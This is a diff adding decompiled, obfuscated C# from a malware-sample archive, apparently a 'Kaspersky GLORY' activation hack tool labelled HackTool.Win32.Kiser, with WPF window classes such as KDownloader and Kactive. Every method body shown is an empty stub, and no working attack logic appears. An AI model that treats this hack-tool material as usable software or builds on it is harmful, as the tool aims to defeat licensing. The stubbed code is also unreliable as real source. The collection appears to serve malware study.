+      }
+    }
+
+    internal virtual System.Windows.Controls.Button btn_s_AV
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button btn_s_IS
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.TextBox kl
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button Button2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label3
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void InitializeComponent()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void aPEJ2Afs8etV7KbNXWb()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0037xfKayffk96xRE4rKHa([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void xSq1kGfOloFYg37FAU3([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void yB2yJufQCJD0bVXfjOd([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void N2jY4pfWrcxt3A5A23M([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool h3j4uIszCMO0yOkkw4d() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool jd61SHfxVMknh7FdE6c() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool lRbAXJflDLWjg6vw5Nd() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static MsgBoxResult iNwlmEfy6KaXY1HWMAZ(
+      [In] object obj0,
+      [In] MsgBoxStyle obj1,
+      [In] object obj2)
+    {
+      // ISSUE: reference to a compiler-generated field
+      return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void VIBibVfpOtVOqdsbxt6([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object tgGbPufBERDfAes3537([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void rcTDyJfnafIKOkxqMMY([In] object obj0, [In] Visibility obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object cF6w21fAk8YIYUilGSq([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Xp4YQPfm1YGNuqUpJwV([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0031ZMVbpfdKf2Q47UXHxX([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object B37uyVfjQjOXxxxoJrU([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static int mUW2JSfHXhQbLcRgVWA([In] object obj0, [In] object obj1, [In] bool obj2) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object P97rxdfkluRp55s2A3t([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void OXooWdfToaGeQmwcirn([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0037XAUaefhLXpoF5oZfVe([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0037YewblfEDJaEwFcnM5E([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void SwU4YSf1g1xvZROH1Kh([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void WOgW4Sf9j7gFwtboT3Z([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static DialogResult yDnXCufwVc9TKEnsZpi([In] object obj0) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl3;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object OT0Pg6fCS6CctyWjeLY([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool iA9MQMf6uOwPWYta5UG([In] object obj0) => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object ByXhdqfe3NAlXL9X809([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object VfOqhVfVoBUpmHhrFhc([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void wI4FtnftxMAxRZfhEyR([In] object obj0, [In] object obj1, [In] object obj2)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object Ru3PDtfUwV77aRGDGOA([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u003278IOcfb8KrX7gQtSTn([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ExxliefPbpcC3Kd89FO([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object KugFjtfr987fhN0eg6P([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object nxHNSsfc1GDFS30KXuh([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object SLdqNqfSFQApLGyJomU([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void bWVx83fLYWyKQZLpXoc([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void OFV1lkfg1BuH7d5HPOV()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static long eoshwnfKHfKK9VkKWbP([In] object obj0) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double XDC7IKfRdw9E45uOjYh([In] object obj0) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static long FVFk6Bfay6iWWcJZQPR([In] object obj0) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double \u0033RteunfF1dZLXgdmKnr([In] double obj0) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static int igfnWXf0oTnW1eNwnIC([In] object obj0) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Eg2lrmf3uKBs7UeTQ8j([In] object obj0, [In] double obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double \u00382Juq3f8H3hWGJGj186([In] double obj0, [In] int obj1) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static int Y7JpR7fMkI2Bv54w7G3([In] object obj0) => 0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0030TvK59fJaPiaVhBMRtc([In] int obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object RCpKdGfiS6RckYkIEp8([In] double obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object HEvimDf760guc2wKhuR([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static MessageBoxResult iRJCLufXqB32x128SjL(
+      [In] object obj0,
+      [In] object obj1,
+      [In] MessageBoxButton obj2,
+      [In] MessageBoxImage obj3)
+    {
+      // ISSUE: reference to a compiler-generated field
+      return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl4;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0037TqfU4fYxj1qTIHjrgV([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void idjqkhfDqdHBRHlWRNq([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void K4Og3jfZyWM9Ax4x6Gk([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void OWUfYBf2QyoQMTbjTc7([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void rZtIhUf4q0W1RmadjdM([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ObYN6cfNyMYPT3sDLnD([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void mmsJntfv0CNVHrVFeb8([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void fDnMVBf5JfiiZWFhNpY([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void Os0pmnfqk5H9AxEs03K([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ly9Zl0fGywBOmX6Yn4o([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void FFsmmpfuEhWIJwYKrwx([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void RBVTslfIp7BYVne728V([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0033cWV1EfoVRp2AxXwR05([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void HKIeEcfzx2wolRq0GeJ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0032VpDDvOxELXL2ddQNwJ([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void PtUv7DOsee0DWbcliLt([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void jQBdcFOfW16cuCocyCV([In] object obj0, [In] object obj1)
+    {
+    }
+
+    static KDownloader() => \u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
+  }
+}

MSIL/HackTool/Win32/K/HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6/Kaspersky_GLORY_v1/Kactive.cs

@@ -0,0 +1,541 @@
+// Decompiled with JetBrains decompiler
+// Type: Kaspersky_GLORY_v1.Kactive
+// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
+// MVID: E47827BB-114D-421C-9576-332833461261
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using PiDHnfAR7iBcyRY1A4;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows;
+using System.Windows.Forms;
+using System.Windows.Input;
+using System.Windows.Markup;
+
+namespace Kaspersky_GLORY_v1
+{
+  [DesignerGenerated]
+  [GeneratedCode("PresentationBuildTasks", "4.0.0.0")]
+  public class Kactive : Window, IComponentConnector
+  {
+    [AccessedThroughProperty("myTimer")]
+    private Timer \u0038wGy8Btdv;
+    [AccessedThroughProperty("GroupBox1")]
+    private System.Windows.Controls.GroupBox HKGk3cGu3;
+    [AccessedThroughProperty("TextBox2")]
+    private System.Windows.Controls.TextBox \u0034y971Mpj6;
+    [AccessedThroughProperty("Label1")]
+    private System.Windows.Controls.Label uiDSJP5K6;
+    [AccessedThroughProperty("Label2")]
+    private System.Windows.Controls.Label \u0037wUA3K5FS;
+    [AccessedThroughProperty("Button2")]
+    private System.Windows.Controls.Button StWuGHvv3;
+    [AccessedThroughProperty("t1")]
+    private System.Windows.Controls.Label iepZybAkM;
+    [AccessedThroughProperty("Button1")]
+    private System.Windows.Controls.Button TJfGoS1Nc;
+    [AccessedThroughProperty("Label3")]
+    private System.Windows.Controls.Label JGRWDvPW7;
+    [AccessedThroughProperty("Button3")]
+    private System.Windows.Controls.Button \u0032dt8e7deR;
+    [AccessedThroughProperty("ProgressBar1")]
+    private System.Windows.Controls.ProgressBar H10jte8fr;
+    [AccessedThroughProperty("TextBox3")]
+    private System.Windows.Controls.TextBox SsvY5ygtY;
+    [AccessedThroughProperty("TextBox4")]
+    private System.Windows.Controls.TextBox \u0038xXCMRTUE;
+    [AccessedThroughProperty("TextBox1")]
+    private System.Windows.Controls.TextBox Mnd0ODixC;
+    [AccessedThroughProperty("Label4")]
+    private System.Windows.Controls.Label a6BHg7aZl;
+    [AccessedThroughProperty("TextBox5")]
+    private System.Windows.Controls.TextBox \u00305iRvC3Dw;
+    private bool RVCQ5y8jV;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public Kactive()
+    {
+    }
+
+    internal virtual Timer myTimer
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (Timer) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void seWsLuReV([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void uWUfSQC1u([In] object obj0, [In] MouseButtonEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void CvmOFuRb7([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void ISFmXOES8([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void FleVY7hrK([In] object obj0, [In] RoutedEventArgs obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    private void \u0039tjPjswKO([In] object obj0, [In] EventArgs obj1)
+    {
+    }
+
+    internal virtual System.Windows.Controls.GroupBox GroupBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.GroupBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.TextBox TextBox2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button Button2
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label t1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button Button1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label3
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Button Button3
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Button) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.ProgressBar ProgressBar1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.ProgressBar) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.TextBox TextBox3
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.TextBox TextBox4
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.TextBox TextBox1
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.Label Label4
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.Label) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    internal virtual System.Windows.Controls.TextBox TextBox5
+    {
+      [MethodImpl(MethodImplOptions.NoInlining)] get => (System.Windows.Controls.TextBox) null;
+      [MethodImpl(MethodImplOptions.Synchronized | MethodImplOptions.NoInlining)] set
+      {
+      }
+    }
+
+    [DebuggerNonUserCode]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void InitializeComponent()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    public void System_Windows_Markup_IComponentConnector_Connect(int connectionId, object target)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0037qnmEUq97F9b9hfVf1()
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void j2J8HkG4N9EMFRTTSc([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void naI0t2u58jrXLtHJld([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void hdLhDXIEI3EBouDfWq([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void HtD1HeoEt83HvMRkK8([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0032APh7Qz0oWKM6uXE6Q([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool jH3PWCvC3sbrpJSyCD() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool G2mVju5w2HuBW2trig() => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void CGyIHfsx63uO0KTJ0ps([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void JUFrF3ssa4gt1c17TEn([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object x0CAMjsf8Txqrnubu4j([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object rubpQFsOiIJhCs7WEHo([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object gmNGUTsQFtQMC795ZJa([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object OGtbeYsWQpLxFvDU8RO([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object eg50TGslo8ctoAaA1fM([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object hvDUdRsy9FLKhHMhekt([In] object obj0, [In] object obj1) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object SSsny3sp1OmpnKXpb3H([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object jd9FYgsBekgycFxC4PZ([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void sVKiPNsn4S2guld6cYs([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object ChHScFsAxXaGWebwESn([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void lQHIUksmnam82fpDgrI([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u00325UZousd60P7w57LKqv([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void oCDtW2sjP4kr1pbyiWl([In] object obj0, [In] Visibility obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void QtYqRWsHJpGnDZpbpiO([In] object obj0, [In] int obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool hSZEDyskCHGjuXANuyw([In] object obj0) => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static MsgBoxResult ssjCbysTSr7LbeXfefj(
+      [In] object obj0,
+      [In] MsgBoxStyle obj1,
+      [In] object obj2)
+    {
+      // ISSUE: reference to a compiler-generated field
+      return \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl2;
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void CpaSfXsh3sy4jjU3ouM([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object PeV2OnsE1lghGOoqkdO([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void wjSid6s1KFuAj4oLqsR([In] object obj0)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void vHkF6qs9NeLjSFdFTDW([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static DialogResult eiRiEbswwkwA3NUyj9n([In] object obj0) => \u003CPrivateImplementationDetails\u003E\u007B7465F6BC\u002D7BAE\u002D4A3E\u002DA06D\u002DB170F89EC902\u007D.fieldimpl3;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0038LiVu8sCTZ9n6uZSvaQ([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object I1pRbSs61mREabrNY45([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool QQxjwaseMEwaBuaolfK([In] object obj0, [In] object obj1, [In] StringComparison obj2) => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object HGU2JcsVJWhhupgHmAy([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object qutvG4stfPF09K815Bt([In] object obj0, [In] object obj1, [In] object obj2) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void cKbCJWsUTYwh0aVJwCE([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void RCWwDlsbnZyxCx3gjvI([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void LPYtGZsPMW6w5WaeZN5([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void FnxF2lsr7WCm0fLJs0y([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void LfdCvnscNl4ZZ3KouAv([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void YRSh4qsSOfEbGucIqov([In] object obj0, [In] bool obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void oyp2NlsLuZEgMhgJ5hA([In] object obj0, [In] ProcessWindowStyle obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void PU9Ohcsgt04DC5ixTQx([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static bool hIon8NsK4WwMMop1Ttm([In] object obj0) => true;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object \u0037HQ2pVsRYwFnFRhW1AQ([In] object obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void IjanQHsaymuqwRm70sA([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static double uPcK6UsF5aXqtFu0SLH([In] object obj0) => 0.0;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void N5SRAXs033cgorTcNH1([In] object obj0, [In] double obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static object x9Yx7Us3nZ9LeFaH3Si([In] double obj0) => (object) null;
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void AXvjEas84AXaoeoQwpI([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void A1nbbYsMconj9RPieJO([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void jXgx6csJx08D69hqOwv([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void VZZQIxsi8hTVAYOg40O([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void poODeEs7K0ityJ2uf4u([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0039iJcPesXXZuZKWwEwXL([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void ebUVursY5UHv5R4KY3T([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void fw84MEsDU4YNGCqs7vM([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void rm71MEsZZSqEnFBlABt([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void IXxFMps2mVNb1wmB1xT([In] object obj0, [In] object obj1)
+    {
+    }
+
+    [MethodImpl(MethodImplOptions.NoInlining)]
+    internal static void \u0037Kr8jis4vZq7XjHSXMx([In] object obj0, [In] object obj1)
+    {
